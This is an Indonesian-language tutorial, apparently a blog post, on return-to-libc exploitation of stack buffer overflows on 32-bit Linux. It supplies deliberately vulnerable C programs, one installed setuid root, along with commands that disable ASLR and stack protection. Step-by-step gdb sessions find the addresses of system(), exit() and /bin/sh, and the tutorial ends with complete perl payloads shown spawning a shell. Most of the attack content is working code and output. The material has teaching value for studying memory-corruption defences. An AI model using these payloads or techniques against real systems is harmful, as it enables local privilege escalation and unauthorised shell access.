Eksploitasi Return to libc di Linux
author: ev1lut10n
for better view article:
http://myw1sd0m.blogspot.com/2011/01/eksploitasi-return-to-libc-linux.html
(beberapa teks bergeser di sini krn pico netbsd
)
my blog :
http://myw1sd0m.blogspot.com
jargon: sfp = stack frame pointer
Dengan teknik standar saat stack based buffer overflow (seperti artikel
yang pernah saya tulis 1 tahun lalu), jika kernel korban menerapkan non
executable stack maka shellcode kita tidak akan bisa dieksekusi, oleh
karena itu diperlukan teknik
return into libc ini. Teknik ini berhasil jika kita bisa melakukan
overwrite pada return address
dengan alamat fungsi library c, misal: system(), selain teknik ini ada
teknik lain yahng lebih bagus tapi tidak akan dibahas sekarang.
Coba perhatikan gambaran dari program yang terkena stack based bof berikut
ini:
(misal buffer size: 16 dimana terjadi malicious input string A (24 bytes))
|AAAAAAAAAAAAAAAA|AAAA|AAAA|AAAA
buffer =16 sfp ret
di sini terjadi stack based bof di mana program akan mengalami crash dan
eksekusi terjadi pada return address (eip) yang dioverwrite, perhatikan
bedanya:
serangan biasa
| nop nop nop | ret |
shellcode |
(args) (ebp)
(eip)
serangan dengan return to libc
<------stack------
------------alamat------------->
| buffer | fungsi standar (libc) | fake return |
/bin/sh (-> hanya contoh)
(args) (ebp) (eip)
untuk uji coba pertama kita siapkan sedikit kode c yang mengandung bug:
filename: bug.c
-----------------------
//stackbof.c
#include <string.h>
#include <stdio.h>
fungsi_yang_vulner(char *temp1, char * temp2)
{
char bufer[400];
sprintf(bufer,temp2);
printf("\nIsian data: %s %s\n",temp1,temp2);
}
int main(int argc, char * argv[])
{
fungsi_yang_vulner(argv[1],argv[2]);
printf("\nIsian data Anda: %s %s \n",argv[1],argv[2]);
}
kompile :
ev1lut10n@bt:~$ gcc stackbof.c -fno-stack-protector
-mpreferred-stack-boundary=2 -o stackbof
ev1lut10n@bt:~$ sudo chown root:root stackbof
ev1lut10n@bt:~$ sudo chmod u+s stackbof
ev1lut10n@bt:~$ sudo /sbin/sysctl -w kernel.randomize_va_space=0
-------------------------
ketikkan ini jika ingin agar ada core dump :
---------------------
ulimit -c unlimited
---------------------
buka gdb:
-------------------------
gdb -q stackbof
(gdb) run argumen1 `perl -e 'print "A"x407'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/ev1lut10n/stackbof argumen1 `perl -e 'print
"A"x407'`
Isian data: argumen1
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Program received signal SIGSEGV, Segmentation fault.
0x00414141 in ?? ()
yup tingal 1 byte lagi teroverwrite penuh.
(gdb) run argumen1 `perl -e 'print "A"x408'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/ev1lut10n/stackbof argumen1 `perl -e 'print
"A"x408'`
Isian data:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb) i r
eax 0x1a7 423
ecx 0x0 0
edx 0xb7f0f0d0 -1208946480
ebx 0xb7f0dff4 -1208950796
esp 0xbff9e1b8 0xbff9e1b8
ebp 0x41414141 0x41414141
esi 0x8048490 134513808
edi 0x8048340 134513472
eip 0x41414141 0x41414141
eflags 0x210292 [ AF SF IF RF ID ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
(gdb)
terlihat eip sudah teroverwrite penuh dengan string A (hex=41).
set break point di main:
(gdb) break main
Breakpoint 1 at 0x8048434
(gdb) p system
$1 = {<text variable, no debug info>} 0xb7ee0ac0 <system>
(gdb) run
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/ev1lut10n/stackbof argumen1 `perl -e 'print
"A"x408'`
Breakpoint 1, 0x08048434 in main ()
Current language: auto; currently asm
Selanjutnya cari alamat memori untuk system dan execl:
(gdb) p system
$1 = {<text variable, no debug info>} 0xb7eaaac0 <system>
* Setting environ shell
$ export MYSHELL=/bin/sh
untuk menemukan alamat /bin/sh :
#include <stdio.h>
void main(){
char* shell = getenv("MYSHELL");
if (shell)
printf("%x\n", (unsigned int)shell);
}
ev1lut10n@bt:~$ ./find
bffffea8
kembali ke jendela gdb:
(gdb) x/s 0xbffffea8
0xbffffea8: "n/sh"
ok berarti :
(gdb) x/s 0xbffffea0
0xbffffea0: "/bin/sh"
(gdb)
ditemukan alamat /bin/sh pada 0xbffffea0 dienkode ke endian menjadi:
\xa0\xfe\xff\xbf
(gdb) p exit
$1 = {<text variable, no debug info>} 0xb7e9fd00 <exit>
ditemukan alamat exit pada 0xb7e9fd00, enkode menjadi : \x00\xfd\xe9\xb7
jumlah byte yang diperlukan untuk total overwrite eip=408
408-4=404
alamat untuk system() = 0xb7eaaac0, dienkode menjadi: \xc0\xaa\xea\xb7
Demi untuk mewujudkan kondisi ini:
penyisipan junk : \x00\xfd\xe9\xb7
|A sebanyak 400 biji || 0xb7eaaac0 (alamat memori sistem) || 4byt ||
0xbffffea0(alamat /bin/sh)
______________________________________________________________________________________
argumen ebp
eip
r `perl -e 'print "A"x404 . "\xc0\xaa\xea\xb7" . "4byt" .
"\xa0\xfe\xff\xbf";'`
* Contoh dengan Buffer yang Lebih Kecil
/* bug.c */
#include <stdio.h>
int main(int argc,char *argv[])
{
setuid(0);
char b[5];
printf("\nadding : %s",argv[1]);
sprintf(b,argv[1]);
printf("\nuser input:%s\n",&b);
}
buka gdb
$ gdb -q bug
(gdb) r `perl -e 'print "A"x12'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/ev1lut10n/bug `perl -e 'print "A"x12'`
adding : AAAAAAAAAAAA
user input:AAAAAAAAAAAA
Program received signal SIGSEGV, Segmentation fault.
0x00414141 in ?? ()
(gdb)
1 byte lagi eip teroverwrite penuh
(gdb) r `perl -e 'print "A"x13'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/ev1lut10n/bug `perl -e 'print "A"x13'`
adding : AAAAAAAAAAAAA
user input:AAAAAAAAAAAAA
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb)
(gdb) p system
$1 = {<text variable, no debug info>} 0xb7eaaac0 <system>
* Setting environ shell
$ export MYSHELL=/bin/sh
untuk menemukan alamat /bin/sh :
#include <stdio.h>
void main(){
char* shell = getenv("MYSHELL");
if (shell)
printf("%x\n", (unsigned int)shell);
}
ev1lut10n@bt:~$ ./find
bffffea8
kembali ke jendela gdb:
(gdb) b main
Breakpoint 1 at 0x804842a
(gdb) run
Starting program: /home/ev1lut10n/bug
Breakpoint 1, 0x0804842a in main ()
Current language: auto; currently asm
(gdb) x/s 0xbffffea8
0xbffffea8: "n/sh"
(gdb) x/s 0xbffffea0
0xbffffea0: "HELL=/bin/sh"
(gdb) x/s 0xBFFFFEA2
0xbffffea2: "LL=/bin/sh"
(gdb) x/s 0xBFFFFEA5
0xbffffea5: "/bin/sh"
(gdb)
ditemukan alamat /bin/sh pada 0xbffffea5 dienkode ke endian menjadi:
\xa5\xfe\xff\xbf
jumlah byte yang diperlukan untuk total overwrite eip=408
13-4=9
alamat untuk system() = 0xb7eaaac0, dienkode menjadi: \xc0\xaa\xea\xb7
Demi untuk mewujudkan kondisi ini:
penyisipan junk : TTTT (x54 sebanyak 4 biji)
|A(9x) || \xc0\xaa\xea\xb7(sistem) || TTTT ||
\xa5\xfe\xff\xbf(alamat /bin/sh)
______________________________________________________________________________________
argumen ebp eip
sehingga
r `perl -e 'print "A"x9 . "\xc0\xaa\xea\xb7" . "TTTT" .
"\xa5\xfe\xff\xbf";'`
Dan jika berhasil maka tampilanya sbb:
-----------------------------------------
ev1lut10n@bt:~$ gdb -q bug
(gdb) r `perl -e 'print "A"x9 . "\xc0\xaa\xea\xb7" . "TTTT" .
"\xa5\xfe\xff\xbf"
;'`
Starting program: /home/ev1lut10n/bug `perl -e 'print "A"x9 .
"\xc0\xaa\xea\xb7"
"TTTT" . "\xa5\xfe\xff\xbf";'`
adding : AAAAAAAAA????TTTT????
user input:AAAAAAAAA????TTTT????
sh-3.2$
---------------------------------------------
thanks to : all devilzc0de crews and members
greets: superman , chaer newbie, flyf666, kiddies, gunslinger